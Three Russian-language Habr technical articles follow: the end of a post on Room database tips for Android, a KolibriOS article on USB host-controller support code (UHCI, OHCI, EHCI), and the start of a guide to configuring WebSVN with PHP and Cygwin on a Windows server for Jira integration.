На некоторых экранах нам не нужно отображать всю эту информацию. Таким образом, вместо этого мы можем создать объект `UserMinimal`, который содержит только необходимые данные.
```
data class UserMinimal(val userId: String,
val firstName: String,
val lastName: String)
```
В классе DAO мы определяем запрос и выбираем правильные столбцы из таблицы `users`.
```
@Dao
interface UserDao {
@Query(“SELECT userId, firstName, lastName FROM Users)
fun getUsersMinimal(): List
}
```
5. Контроль зависимостей между сущностями с внешними ключами
------------------------------------------------------------
Даже несмотря на то, что Room [напрямую не поддерживает](https://developer.android.com/topic/libraries/architecture/room.html#no-object-references) связи между сущностями, он позволяет вам определять зависимости между объектами с помощью внешних ключей.
В Room есть аннотация [@ForeignKey](https://developer.android.com/reference/android/arch/persistence/room/ForeignKey.html), которая является частью аннотации [@Entity](https://developer.android.com/reference/android/arch/persistence/room/Entity.html). По функциональности она аналогична [внешним ключам в SQLite](https://sqlite.org/foreignkeys.html). Она гарантирует сохранение связей между сущностями при изменениях в базе данных. Чтобы добавить её, определите объект, на который необходимо ссылаться, а также столбцы в текущем объекте и том, на который ссылаетесь.
Рассмотрим класс `User` и `Pet`. У `Pet` есть владелец — идентификатор пользователя, на который ссылается внешний ключ.
```
@Entity(tableName = "pets",
foreignKeys = arrayOf(
ForeignKey(entity = User::class,
parentColumns = arrayOf("userId"),
childColumns = arrayOf("owner"))))
data class Pet(@PrimaryKey val petId: String,
val name: String,
val owner: String)
```
При желании вы можете определить, какое действие необходимо предпринять, когда родительский объект удаляется или обновляется в базе данных. Вы можете выбрать один из следующих вариантов: `NO_ACTION`, `RESTRICT`, `SET_NULL`, `SET_DEFAULT` или `CASCADE`, которые ведут себя так же, как в [SQLite](https://sqlite.org/foreignkeys.html#fk_actions).
**Примечание:** в Room `SET_DEFAULT` работает как `SET_NULL`, т.к. Room ещё не позволяет устанавливать значения по умолчанию для столбцов.
6. Упрощение запросов один-ко-многим с помощью @Relation
--------------------------------------------------------
В предыдущем примере `User`-`Pet` можно сказать, что есть отношение **один-ко-многим**: у пользователя может быть несколько питомцев. Допустим, мы хотим получить список пользователей со своими питомцами: `List`.
```
data class UserAndAllPets (val user: User,
val pets: List = ArrayList())
```
Чтобы сделать это вручную, нам понадобятся 2 запроса: один для получения списка всех пользователей и другой для получения списка домашних животных на основе идентификатора пользователя.
```
@Query(“SELECT * FROM Users”)
public List getUsers();
@Query(“SELECT \* FROM Pets where owner = :userId”)
public List getPetsForUser(String userId);
```
Затем мы будем перебирать список пользователей и каждый раз обращаться к таблице `Pets`.
Аннотация [@Relation](https://developer.android.com/reference/android/arch/persistence/room/Relation.html) упростит нам жизнь: она автоматически запросит связанные объекты. `@Relation` можно применять только к `List` или `Set`. Обновим класс `UserAndAllPets`:
```
class UserAndAllPets {
@Embedded
var user: User? = null
@Relation(parentColumn = “userId”,
entityColumn = “owner”)
var pets: List = ArrayList()
}
```
В DAO мы определяем один запрос, а Room будет запрашивать таблицы `Users` и `Pets` и самостоятельно сопоставлять объекты.
```
@Transaction
@Query(“SELECT * FROM Users”)
List getUsers();
```
7. Избежание ложных уведомлений observable-запросов
---------------------------------------------------
Допустим, вы хотите получить пользователя по его идентификатору с помощью observable-запроса:
```
@Query(“SELECT * FROM Users WHERE userId = :id)
fun getUserById(id: String): LiveData
// or
@Query(“SELECT \* FROM Users WHERE userId = :id)
fun getUserById(id: String): Flowable
```
Вы будете получать новый объект `User` каждый раз, когда он будет обновляться. Но вы также получите этот объект, когда в таблице `Users` произойдут другие изменения (удаления, обновления или вставки), которые не имеют никакого отношения к интересующему вас пользователю, что приведёт к ложным уведомлениям. Более того, если ваш запрос включает в себя несколько таблиц, вы будете получать новые сообщения всякий раз, когда что-то поменяется в любой из них.
Вот что происходит за кулисами:
1. В SQLite есть [триггеры](https://sqlite.org/lang_createtrigger.html), которые срабатывают всякий раз, когда в таблице происходит `DELETE`, `UPDATE` или `INSERT`.
2. Room создаёт [InvalidationTracker](https://developer.android.com/reference/android/arch/persistence/room/InvalidationTracker.html), который использует `Observers`, которые отслеживают все изменения в наблюдаемых таблицах.
3. И `LiveData`-, и `Flowable`-запросы полагаются на уведомление [InvalidationTracker.Observer#onInvalidated](https://developer.android.com/reference/android/arch/persistence/room/InvalidationTracker.Observer.html#onInvalidated%28java.util.Set%3Cjava.lang.String%3E%29). Когда оно получено, происходит повторный запрос.
Room знает только то, что таблица была изменена, но не знает, почему и что изменилось. Следовательно, после повторного запроса результат запроса передаётся с помощью `LiveData` или `Flowable`. Т.к. Room не хранит никаких данных в памяти, он не может определить, те же самые это данные или нет.
Вы должны убедиться, что ваш DAO **фильтрует запросы** и реагирует только на необходимые объекты.
Если observable-запрос реализован с использованием `Flowables`, используйте [Flowable#diverUntilChanged](http://reactivex.io/RxJava/2.x/javadoc/io/reactivex/Flowable.html#distinctUntilChanged--).
```
@Dao
abstract class UserDao : BaseDao() {
/\*\*
\* Get a user by id.
\* @return the user from the table with a specific id.
\*/
@Query(“SELECT \* FROM Users WHERE userid = :id”)
protected abstract fun getUserById(id: String): Flowable
fun getDistinctUserById(id: String):
Flowable = getUserById(id)
.distinctUntilChanged()
}
```
Если ваш запрос возвращает `LiveData`, вы можете использовать `MediatorLiveData`, которая будет получать только нужные объекты из источника.
```
fun LiveData.getDistinct(): LiveData {
val distinctLiveData = MediatorLiveData()
distinctLiveData.addSource(this, object : Observer {
private var initialized = false
private var lastObj: T? = null
override fun onChanged(obj: T?) {
if (!initialized) {
initialized = true
lastObj = obj
distinctLiveData.postValue(lastObj)
} else if ((obj == null && lastObj != null)
|| obj != lastObj) {
lastObj = obj
distinctLiveData.postValue(lastObj)
}
}
})
return distinctLiveData
}
```
В ваших DAO метод, который возвращает `LiveData`, сделайте `public`, а метод, который запрашивает базу данных, `protected`.
```
@Dao
abstract class UserDao : BaseDao() {
@Query(“SELECT \* FROM Users WHERE userid = :id”)
protected abstract fun getUserById(id: String): LiveData
fun getDistinctUserById(id: String):
LiveData = getUserById(id).getDistinct()
}
```
Полный пример кода смотрите [здесь](https://gist.github.com/florina-muntenescu/fea9431d0151ce0afd2f5a0b8834a6c7).
**Примечание:** если вы запрашиваете список для отображения, обратите внимание на библиотеку [Paging Library](https://developer.android.com/topic/libraries/architecture/paging.html), которая будет возвращать [LivePagedListBuilder](https://developer.android.com/reference/android/arch/paging/LivePagedListProvider.html). Библиотека поможет автоматически вычислить разницу между элементами списка и обновить ваш пользовательский интерфейс.
> *Читайте также: [7 шагов к использованию Room. Пошаговое руководство по миграции приложения на Room](https://habr.com/ru/post/441934/)* | https://habr.com/ru/post/442786/ | null | ru | null |
# Поддержка USB в KolibriOS: что внутри? Часть 3: код поддержки хост-контроллеров
Уровень поддержки хост-контроллеров, как я писала в [общем обзоре](http://habrahabr.ru/company/kolibrios/blog/181586/), должен вызывать вышележащие уровни при наступлении некоторых событий и предоставлять функции, необходимые вышележащим уровням для работы.
Для удобства восприятия я буду рассказывать о различных элементах кода поддержки в том порядке, в котором они получают управление.
Запуск подсистемы USB
=====================
### Подготовка: USB-контроллеры в списке PCI-устройств
Подсистема USB запускается вызовом `usb_init` из [init.inc](http://websvn.kolibrios.org/filedetails.php?repname=Kolibri+OS&path=%2Fkernel%2Ftrunk%2Fbus%2Fusb%2Finit.inc) в ходе загрузки системы.
К моменту запуска USB уже подготовлен список найденных PCI-устройств `pcidev_list`. USB-контроллеры опознаются среди всех PCI-устройств по коду класса, подкласса и интерфейса:
| Тип | Класс | Подкласс | Интерфейс |
| --- | --- | --- | --- |
| UHCI | 0Ch | 03h | 00h |
| OHCI | 0Ch | 03h | 10h |
| EHCI | 0Ch | 03h | 20h |
| XHCI | 0Ch | 03h | 30h |
`usb_init` проходит по списку PCI-устройств несколько раз, каждый раз выделяя USB-контроллеры.
### Отключение контроля BIOS
Некоторые BIOS умеют обрабатывать USB-мыши, USB-клавиатуры и USB-флешки, предоставляя данные для операционных систем, не знающих про USB. Данные от мышей и клавиатур преобразуются в формат PS/2 и тем или иным способом доводятся до операционной системы так же, как если бы в системе существовала настоящая PS/2-мышь и/или клавиатура. USB-флешка представляется жёстким диском с точки зрения [`int 13h`](http://en.wikipedia.org/wiki/INT_13H) — такая поддержка встречается куда чаще поддержки мышей, ибо необходима для загрузки с флешек.
Операционная система может использовать любой режим процессора и самостоятельно обрабатывать любые прерывания. Чтобы BIOS в таких условиях всё же могла получать управление с предсказуемым окружением, ещё в районе 486-х (начиная со специальной версии i386SL, если точно) Intel придумала специальный режим процессора [*System Management Mode (SMM)*](http://en.wikipedia.org/wiki/System_Management_Mode), в котором и работает BIOS, прерывая операционную систему. В SMM невозможно попасть средствами самого процессора; процессор попадает в этот режим, когда железо материнской платы подаёт специальный сигнал *System Management Interrupt (SMI)*. USB-контроллеры, встроенные в чипсет, как правило, могут генерировать SMI вместо прерывания в зависимости от настроек.
Первый проход по списку `pcidev_list` служит для того, чтобы сообщить BIOS, что USB-контроллеры переходят под управление операционной системы, поэтому BIOS больше не должна с ними ничего делать.
Важно, чтобы на этом проходе все компаньоны обрабатывались *до* парного EHCI-контроллера. Например, обход в порядке возрастания PCI-координат это гарантирует. В первых версиях кода этот проход не был отдельно выделен, и сначала обрабатывались все контроллеры EHCI; это работало на многих конфигурациях, но в ходе [тестов](http://board.kolibrios.org/viewtopic.php?p=46724#p46724) выяснилось, что не все BIOSы корректно написаны и что неправильный порядок может привести к зависанию системы внутри SMM. Более конкретно, возможен следующий сценарий:
* BIOS обнаруживает запрос на прекращение работы с EHCI;
* BIOS деконфигурирует контроллер и забывает про него;
* владение портами переходит к компаньону;
* флешка, подсоединённая к порту, также переходит к компаньону;
* компаньон сигнализирует о новом устройстве;
* поскольку компаньон всё ещё находится под контролем BIOS, та считает устройство своим, выясняет, что это за устройство; видит старую флешку;
* и тут выясняется, что про флешку BIOS помнит то, что она размещалась на контроллере, про который BIOS успешно забыла. Попытка использовать данные забытого контроллера быстро приводит к печальному концу.
Обработка компаньонов перед EHCI исключает возможность этого сценария.
Метод сообщения BIOS о том, что контроллер пора отдать, зависит от контроллера. Соответствующие функции называются `{u,o,e}hci_kickoff_bios`. UHCI, будучи хронологически первым интерфейсом, не предоставляет специального сообщения, поэтому `uhci_kickoff_bios` просто выключает генерацию SMI и останавливает контроллер. В OHCI и EHCI процедура общения с BIOS теоретически описана в спецификации, но практически… есть некоторые детали. В обоих случаях процедура выглядит следующим образом: установить некоторый бит в некотором регистре и подождать нужного состояния другого бита; если BIOS работает с контроллером, то контроллер сгенерирует SMI, процессор перейдёт в SMM и вызовет BIOS, BIOS отвяжется от контроллера, переведёт другой бит в нужное состояние и выйдет из SMM. Деталь процедуры для OHCI состоит в том, что, как выяснилось в ходе [тестов](http://board.kolibrios.org/viewtopic.php?p=47076#p47076), BIOS вполне может оставить контроллер со включёнными источниками прерываний; если какое-либо событие сгенерирует прерывание и прерывание окажется размаскированным в контроллере прерываний до того, как драйвер OHCI установит свой обработчик, система опять же зависнет — OHCI будет снова и снова генерировать прерывание, которое некому обработать. Поэтому `ohci_kickoff_bios` запрещает прерывания на время разговора с BIOS и выключает все источники прерываний OHCI в конце разговора. В EHCI на самом деле нельзя сразу устанавливать бит «операционная система запросила владение контроллером», сначала необходимо проверить, что BIOS владеет контроллером; некоторые BIOS «отпускают» контроллер и забывают про него ещё перед загрузкой системы, не снимают бит генерации SMI и не смогут обработать запрос — система снова повиснет из-за SMI, генерируемого снова и снова.
### Инициализация контроллеров
Если на первом проходе `usb_init` не обнаружила USB-контроллеров, она прекращает свою работу. Если USB-контроллеры есть, то `usb_init` создаёт поток, выделенный под обработку USB, и делает ещё два прохода по списку PCI-устройств, вызывая `usb_init_controller` для каждого USB-контроллера, передавая в `edi` указатель на соответствующую структуру `usb_hardware_func`. Второй проход обрабатывает EHCI, третий — UHCI и OHCI. Здесь EHCI обрабатывается перед компаньонами, чтобы HS-устройства сразу находились под управлением EHCI вместо того, чтобы просигнализировать о себе компаньону и тут же быть отобранным у него.
Функция `usb_init_controller` находится в [hccommon.inc](http://websvn.kolibrios.org/filedetails.php?repname=Kolibri+OS&path=%2Fkernel%2Ftrunk%2Fbus%2Fusb%2Fhccommon.inc). Она выделяет память под пару структур `*hci_controller`/`usb_controller`, инициализирует их обеих нулями, инициализирует некоторые поля `usb_controller`, среди которых следует отдельно отметить `HardwareFunc`, указывающее на `usb_hardware_func`. Далее она же вызывает контроллеро-специфичную инициализацию `usb_hardware_func.Init`. Если не произошло ошибки, то последним действием `usb_init_controller` регистрирует контроллер в общем списке `usb_controllers_list` и пробуждает USB-поток, чтобы тот мог обновить информацию о времени следующего пробуждения.
Специфичная инициализация `usb_hardware_func.Init` делает следующее:
* настраивает группы каналов и взаимосвязи между ними, в том числе двоичное дерево каналов прерываний;
* устанавливает обработчик прерывания от контроллера `*hci_irq`;
* пишет правильные значения в регистры хост-контроллера, в том числе записывает физический адрес структуры `*hci_controller`;
* вычисляет количество портов корневого хаба `usb_controller.NumPorts` и подаёт питание на все порты.
Двоичное дерево каналов прерываний имеет одинаковую структуру на всех контроллерах, я описывала её в [предыдущей статье](http://habrahabr.ru/company/kolibrios/blog/183184/). Связи между каналами остальных типов зависят от контроллера.
### Связи между каналами: UHCI
UHCI — хронологически первый контроллер с самым простым железом. У него есть только один регистр-указатель `UhciBaseAddressReg`, указывающий на таблицу, входящую в `uhci_controller`. Каждый фрейм железо загружает соответствующий элемент таблицы и начинает идти по ссылкам. Последним в цепочке периодических передач находится список каналов прерываний, обрабатываемых каждый фрейм. Из последнего канала списка ссылка ведёт на первый канал в списке управляющих передач. Все каналы управляющих передач и передач массивов данных связаны в кольцо. Когда контроллер заканчивает обработку всех непериодических каналов, он возвращается к началу списка непериодических каналов; при такой схеме новая непериодическая передача начинает обрабатываться немедленно, не дожидаясь следующего фрейма.
Очевидный плюс такой схемы — простота железа при полном соблюдении требований спецификации USB на приоритеты обработки. Минусы: при большой нагрузке, когда контроллер не успевает обработать все передачи до конца фрейма, каналы одного типа неравноправны — те, кому посчастливилось оказаться в начале списка, получают существенное преимущество, — а при малой нагрузке контроллер постоянно занят чтением из памяти только для того, чтобы убедиться, что новой работы нет. Разработчики следующих контроллеров учли минусы UHCI.
### Связи между каналами: OHCI
В OHCI регистров-указателей целых семь, шесть из которых связаны с каналами. Один из регистров `OhciHCCAReg` указывает на таблицу периодических каналов, аналогичную остальным контроллерам (с поправками на изохронные передачи), второй `OhciPeriodCurrentEDReg` указывает на текущий периодический канал и неинтересен настолько, что даже не показан на схеме.
Управляющие каналы и каналы массивов данных собраны в независимые списки. В каждом списке есть два указателя: указатель на начало списка `Ohci{Control,Bulk}HeadEDReg` и указатель на текущий канал `Ohci{Control,Bulk}CurrentEDReg`. Контроллер может продвигаться по трём спискам независимо друг от друга; приоритеты списков находятся в соответствии с требованиями USB. Каждый фрейм контроллер пробегает по списку периодических каналов, но, в отличие от UHCI, при этом не теряет позиции в других списках, поэтому в пределах одного списка все каналы равноправны; это закрывает первый минус UHCI. В регистрах OHCI также есть два бита «в списке есть новая передача», один для списка управляющих каналов, второй для списка каналов массивов данных, софт должен устанавливать соответствующий бит при добавлении новой передачи. Когда контроллер начинает идти по списку, он сбрасывает бит. Когда контроллер доходит до конца списка, он смотрит на бит; если бит установлен, то контроллер переходит в начало списка, иначе останавливает обработку списка. Это закрывает второй минус UHCI.
### Связи между каналами: EHCI
EHCI ограничивается двумя регистрами-указателями. Один из них, `EhciPeriodicListReg`, указывает на таблицу периодических каналов, аналогичную остальным контроллерам. Другой, `EhciAsyncListReg`, указывает на текущий непериодический канал. Все непериодические каналы замкнуты в кольцо, теперь это — обязательное условие, в отличие от UHCI, где это одна из возможных реализаций. Прогулки по периодическим и непериодическим каналам не зависят друг от друга, что делает все непериодические каналы равноправными. Требованием привилегированности управляющих каналов перед каналами массивов данных Intel решила здесь пренебречь. Чтобы контроллер при отсутствии работы в непериодических каналах не слишком увлекался бесконечными чтениями из памяти, один из каналов в кольце помечается как «начало» кольца; когда контроллер второй раз встречает «начало» кольца, не обнаружив активных передач, он на некоторое время останавливает обработку кольца.
Работа с USB-устройством
========================
Картинка из спецификации USB, описывающая различные состояния устройства и переходы между ними:
### Подключение устройства
В ходе инициализации контроллеры OHCI и EHCI настраиваются так, чтобы генерировать прерывание при подключении и отключении устройства. В UHCI такой возможности, увы, нет, поэтому при наличии контроллера UHCI поток USB периодически просыпается сам по себе и опрашивает порты контроллера, проверяя изменения статуса подключённости. Интервал опроса составляет `UHCI_POLL_INTERVAL` тиков таймера, что при текущем значении составляет 1 секунду.
Подключённое USB-устройство начинает взаимодействие с хост-контроллером в состоянии Powered.
Инициализация нового USB-устройства начинается с… паузы в 100 миллисекунд. Поскольку USB-устройства подключаются динамически, при подключении возможен дребезг контактов и несколько подряд идущих событий подключения/отключения. При каждом новом событии на одном и том же порту отсчёт времени перезапускается. Когда состояние Powered длится 100 миллисекунд подряд, связь считается стабильной и код переходит к следующему этапу инициализации `*hci_new_port`.
По причине, о которой я расскажу чуть позже, следующие несколько этапов обработки подключения нельзя проводить для нескольких устройств параллельно. Поэтому перед следующим этапом новому USB-устройству, возможно, придётся подождать, пока текущее устройство не пройдёт все эти этапы. Конец ожидания отмечен меткой `*hci_new_port.reset`, которая есть часть внутренней функции `*hci_new_port` на случай, если ожидание оказалось ненужным, и одновременно вынесена в интерфейс для вышележащих уровней `usb_hardware_func.InitiateReset`.
Далее код `*hci_new_port.reset` подаёт контроллеру команду на включение сигнала сброса для порта нового устройства. По спецификации сброс должен длиться не менее 10 миллисекунд. OHCI отсчитывает время самостоятельно, по окончании интервала отключает сигнал сброса и генерирует прерывание, обработчик которого сигнализирует потоку USB о переходе к следующему этапу. В UHCI и EHCI считать время нужно программно. Чтобы не загружать процессор холостым циклом ожидания, поток USB после включения сигнала сброса планирует пробуждение по системному таймеру и засыпает. Таймер в KolibriOS тикает с частотой 100 Гц, один раз в 10 миллисекунд. Чтобы гарантированно получить минимум 10 миллисекунд сброса, код дожидается двух отсчётов таймера. После второго тика таймера код выключает сигнал сброса для порта нового устройства, `*hci_port_reset_done`, и переходит к следующему этапу.
В USB2 в процессе сброса выясняется скорость устройства. Я напомню из предыдущей части, что EHCI умеет работать только с HighSpeed-устройствами, а все устройства, работающие на одной из скоростей USB1, должны быть направлены к USB1-компаньону или хабу. С программной точки зрения после окончания сброса EHCI либо разрешает передачу данных к порту, либо нет. Если после сброса порт остаётся запрещённым, значит, подключённое устройство не работает на скорости USB2. В таком случае остаётся только сообщить логике выбора владельца о перенаправлении порта компаньону; после этого компаньон увидит обычное событие подключения и будет его обрабатывать.
После сброса многие устройства уже готовы к настройке на вышележащих уровнях. Но не все. Спецификация требует паузы в минимум 10 миллисекунд после сброса, и, как показывают [тесты](http://board.kolibrios.org/viewtopic.php?p=45968#p45968), некоторым устройствам эта пауза действительно нужна. Аналогично предыдущему этапу, USB-поток засыпает на два отсчёта таймера, на сей раз для всех контроллеров, включая OHCI.
После сброса и последующей паузы устройство переходит из состояния Powered в состояние Default — одно из двух «полурабочих» состояний, когда устройство уже готово получать и отсылать данные для нулевой конечной точки, но ещё не полностью инициализировано. В состоянии Default устройство отзывается на нулевой адрес на шине USB. Это и есть причина, по которой нельзя проводить сброс для двух устройств параллельно: иначе получились бы два устройства, каждое из которых думало бы, что последующая настройка относится именно к нему.
Нулевая конечная точка устройства готова к работе, пора открывать канал. Структура канала содержит характеристики самого канала — например, его тип — и характеристики устройства: скорость устройства, адрес устройства на шине, указатель на `usb_controller`. Код `*hci_port_init`, вызываемый на этом этапе, делегирует работу функции `*hci_new_device`, вынесенной в API для хабов `usb_hardware_func.NewDevice`. Последняя подготавливает структуру псевдо-канала, в которой характеристики устройства корректно заполнены, а значения характеристик канала не имеют значения. На этом код поддержки хост-контроллеров заканчивает самостоятельные действия и передаёт управление функции `usb_new_device` уровня логического устройства; дальше вплоть до отключения устройства код поддержки хост-контроллеров лишь выполняет запросы от вышележащих уровней.
### Открытие канала и передачи по каналу
С точки зрения контроллера очередь дескрипторов передач (один дескриптор может описывать целую передачу, а может какую-то часть, в зависимости от контроллера) организована как односвязный список, физический адрес первого дескриптора находится в структуре канала, физический адрес следующего дескриптора находится в предыдущем дескрипторе. Когда контроллер заканчивает обрабатывать один дескриптор, он обновляет структуру канала, записывая туда адрес следующего дескриптора. Отсюда следует, что при работающей очереди передач код поддержки хост-контроллера не может сам обновлять адрес следующего дескриптора во избежание состояния гонки с железом. Чтобы организовать работу, нужен дополнительный пустой дескриптор в конце очереди. Пустой дескриптор помечен для контроллера как неактивный. Когда код хочет добавить дескриптор, он заполняет текущий пустой дескриптор, выделяет следующий пустой дескриптор, проставляет в старом дескрипторе ссылку на новый, последним действием активирует старый дескриптор — и всё это без пересечений по записи с контроллером. Когда контроллер доходит до неактивного дескриптора, он останавливает обработку очереди, оставляя в структуре канала ссылку на неактивный дескриптор.
После осознания необходимости пустого дескриптора открытие канала и постановка передач в очередь достаточно прямолинейны. При открытии канала `usb_hardware_func.InitPipe = *hci_init_pipe` нужно:* скопировать характеристики устройства из существующего канала или псевдо-канала,
* заполнить характеристики канала на основании переданных данных,
* прописать в структуре канала физический адрес пустого дескриптора,
* инициализировать пустой дескриптор как неактивный,
* последним действием вставить канал в соответствующий список.
Для периодических каналов нужно ещё выбрать нужный список; этим занимается планировщик, о котором я расскажу в следующей статье. Добавление передачи в очередь разбито на заполнение дескрипторов для одного этапа передачи `usb_hardware_func.AllocTransfer = *hci_alloc_transfer`, которое для управляющих передач вызывается дважды или трижды, и активация передачи `usb_hardware_func.InsertTransfer = *hci_insert_transfer`. Функция `AllocTransfer` разбивает этап передачи на отдельные дескрипторы и заполняет их, начиная с пустого дескриптора и выделяя дополнительные дескрипторы при необходимости. Функция `InsertTransfer` активирует бывший пустой дескриптор.
В каждом дескрипторе есть бит IOC, Interrupt on completion. Когда контроллер завершает обработку дескриптора с установленным битом IOC, он генерирует прерывание. Код поддержки хост-контроллеров устанавливает этот бит в последнем дескрипторе каждой передачи.
В OHCI седьмой регистр-указатель используется для того, чтобы связать все обработанные дескрипторы (в том числе со сброшенным битом IOC) в список: при окончании обработки дескриптора в дескриптор записывается значение регистра, в регистр записывается физический адрес дескриптора. При генерации прерывания значение регистра перемещается в одну из переменных `ohci_controller`, а сам регистр обнуляется, начиная заново список дескрипторов. Обработчик прерывания OHCI просто «раскручивает» этот список в обратном порядке, преобразуя физические адреса в линейные.
В UHCI и EHCI такого механизма нет, поэтому обработчику прерывания UHCI и EHCI приходится просматривать все каналы и проверять, какие дескрипторы уже обработаны, то есть неактивны, но не совпадают с пустым дескриптором этого канала.
В любом случае окончательная обработка дескриптора происходит в потоке USB, функция `*hci_process_finalized_td`. Если дескриптор — не последний в передаче, то обработчик прибавляет длину данных к длине данных следующего дескриптора; таким образом накапливается суммарная длина обработанных данных. Если дескриптор — последний в передаче, то с ним должна быть ассоциирована callback-функция обработки, которую код и вызывает.
### Изменение характеристик канала
Иногда необходимо поменять характеристики канала. Есть три таких случая, два из них возникают в процессе настройки уровнем логического устройства, третий — при закрытии канала (в этом случае меняется поле «следующий канал» у предыдущего канала). Первый, обрабатываемый `usb_hardware_func.SetDeviceAddress`: после назначения адреса устройству нужно обновить адрес устройства в структуре канала. Второй, обрабатываемый `usb_hardware_func.SetEndpointPacketSize`: уровень логического устройства может поменять максимальный размер транзакции в ходе инициализации. В UHCI оба этих поля в структуре канала — исключительно программные, контроллер на них даже не смотрит, поэтому с обновлением проблем нет. Первая версия кода просто обновляла параметры в памяти для всех контроллеров, и это даже работало на некоторых конфигурациях. Но в ходе [тестов](http://board.kolibrios.org/viewtopic.php?p=47274#p47274) выяснилось, что не на всех. В EHCI контроллер имеет право кэшировать структуру канала, и некоторые контроллеры этим правом активно пользуются, в результате чего могут увидеть обновление в дескрипторе передачи, но проигнорировать обновление в структуре канала. Строго говоря, расхождение возможно даже без кэша: если контроллер только что прочёл структуру канала, потом надолго задумался, в ходе чего код успел обновить структуру канала и поставить в очередь следующую передачу, после чего контроллер оставил размышления и прочитал дескриптор передачи, получится такая же ситуация.
Для корректного обновления в OHCI и EHCI нужно, чтобы контроллер гарантированно не приступал к обработке дескриптора передачи, пока не прочтёт обновлённые данные структуры канала. Для периодического канала достаточно подождать, пока не сменится номер фрейма. Для обновления непериодического канала в OHCI приходится временно останавливать обработку соответствующего списка каналов и сбрасывать указатель на текущий канал в списке. В EHCI предусмотрен специальный механизм *Interrupt on Async Advance Doorbell*: код устанавливает в одном из регистров бит «продвинься в кольце непериодических каналов и сообщи, когда сделаешь» и ждёт сигнала. Как правило, прерывание приходит. [Иногда не приходит](http://board.kolibrios.org/viewtopic.php?p=47667#p47667), поэтому не помешает подстраховка в виде таймаута.
### Отключение устройства
Здесь всё просто: событие приходит аналогично событию подключения устройства — прерыванием на OHCI и EHCI, периодическим опросом на UHCI — и код вызывает функцию `usb_device_disconnected` уровня работы с каналами, чтобы тот корректно закрыл все каналы и освободил все ресурсы. Кроме того, если устройство на этом порту было подключено менее 100 миллисекунд назад и ждало следующего этапа обработки, код вычёркивает устройство из списка ожидающих.
Все статьи серии
================
[Часть 1: общая схема](http://habrahabr.ru/company/kolibrios/blog/181586/)
[Часть 2: основы работы с хост-контроллерами](http://habrahabr.ru/company/kolibrios/blog/183184/)
Часть 3: код поддержки хост-контроллеров
[Часть 4: уровень поддержки каналов](http://habrahabr.ru/company/kolibrios/blog/186276/)
[Часть 5: уровень логического устройства](http://habrahabr.ru/company/kolibrios/blog/200172/)
[Часть 6: драйвер хабов](http://habrahabr.ru/company/kolibrios/blog/203918/) | https://habr.com/ru/post/183284/ | null | ru | null |
# Настройка WebSVN на Windows для интеграции в Jira с поддержкой авторизации SVN и кодировки исходников Delphi
Выкладываю данную инструкцию, т.к. самому пришлось искать необходимую информацию по крупинкам. Инструкция рассчитана на людей, имеющих мало опыта в web технологиях и web разработке. Все программные комплексы настроены на выделенном под программистские нужды «сервере» под управлением Windows 7 Pro 32 bit.
Что имеем:
* Visual SVN Server 2.6.0 (Apache Subversion 1.8.0 + Apache HTTP Server 2.2.25)
* доступ к SVN уже настроен через ssl на порт 8443
* Jira 6.0 с установленным плагином JIRA Subversion plugin
* осуществлена базовая настройка JIRA Subversion plugin (в задачах отображаются соответствующие коммиты со списками файлов)
* на SVN хранятся в том числе исходные коды, написанные на Delphi 7 с кодировкой CP1251
Что хотим получить:
* просмотр содержимого коммитов
* использование уже существующей системы авторизации SVN для доступа к исходному коду
#### 1. Установка PHP
1. скачать с официального сайта установщик Thread Safe для windows (в последней версии появляется не сразу, поэтому был выбран php-5.3.27-Win32-VC9-x86.msi)
2. устанавливать в C:\PHP\ (когда имею дело с чем-то мультиплатформенным, всегда избегаю пробелов в путях и русских символов)
3. при установке выбирать «Apache 2.2.x module»; конфигурация Apache HTTP Server находится в директории Visual SVN Server, у меня это «C:\Program Files\VisualSVN Server\conf»
При установке файл C:\Program Files\VisualSVN Server\conf\httpd.conf будет автоматически дополнен строками
```
#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "C:\PHP\"
LoadModule php5_module "C:\PHP\php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
```
Читал в интернете рекомендации устанавливать PHP вручную из zip архива, но у меня с первого раза не вышло. Просто потому что не нашёл в поставке последней версии php библиотеки php5apache2\_2.dll, а php5apache2\_4.dll отказывалась загружаться на Apache.
#### 2. Установка WebSVN
Тут и установкой то сложно назвать. Просто создать директорию C:\Program Files\VisualSVN Server\htdocs\websvn и скопировать в неё содержимое скачанного с официального сайта архива.
На этом этапе уже можно проверить доступность странички WebSVN. Для этого надо зайти на `yourserver:8443/websvn/index.php`, должна быть отображена страница приветствия с просьбой настроить список репозиториев.
#### 3. Установка Cygwin
Суть проекта Cygwin — предоставить пользователям Windows распространенные в Unix системах приложения. Некоторые такие приложения необходимы и для WebSVN. На официальном сайте предоставлен довольно понятный инсталлятор. Необходимо установить следующие пакеты:
* diffutils
* enscript (подсветка кода, на всякий случай, если не понравится настроенная в WebSVN по умолчанию подсветка Geshi)
* sed
* tar
* gzip
* zip
Устанавливал в C:\cygwin\, пользуясь упомянутым выше принципом избегания пробелов.
#### 4. Настройка WebSVN
##### Небольшая донастройка Apache
Для удобства доступа к заглавной странице WebSVN добавить следующий код в файл пользовательских настроек Apache C:\Program Files\VisualSVN Server\conf\httpd-custom.conf:
```
DirectoryIndex index.html index.php
```
##### Настройка config.php
В соответствии с инструкцией по установке WebSVN, находящейся в файле C:\Program Files\VisualSVN Server\htdocs\websvn\doc\install.html, скопировать файл \include\distconfig.php в \include\config.php, и далее изменить его в соответствие с комментариями к параметрам. Мои настройки были следующие:
```
$config->setSVNCommandPath('C:\\Program Files\\VisualSVN Server\\bin');
$config->setDiffPath('C:\\cygwin\\bin');
$config->setEnscriptPath('C:\\cygwin\\bin');
... (все пути ведут в 'C:\\cygwin\\bin')
$config->setTrustServerCert();
$config->parentPath('D:\\SVN\\Repositories');
$config->setIgnoreWhitespacesInDiff(true);
$config->setDefaultLanguage('ru');
$config->allowDownload();
$config->setDefaultFolderDlMode('gzip');
$config->useEnscript();
//$config->useGeshi();
$config->setRssEnabled(false);
```
##### Настройка авторизации, используемой в SVN
Сразу оговорюсь, что из-за перехода в Visual SVN версии 2.6.0 на распределенную по репозиториям систему доступа привязать к тем же файлам авторизацию WebSVN не удалось. Пришлось вручную создать общий для репозиториев файл авторизации, не используемый в Visual SVN. На данный момент эта проблема несущественна в силу малого размера команды разработчиков, но буду рад услышать рекомендации по избежанию поддержки файла авторизации вручную. Итак, продолжим:
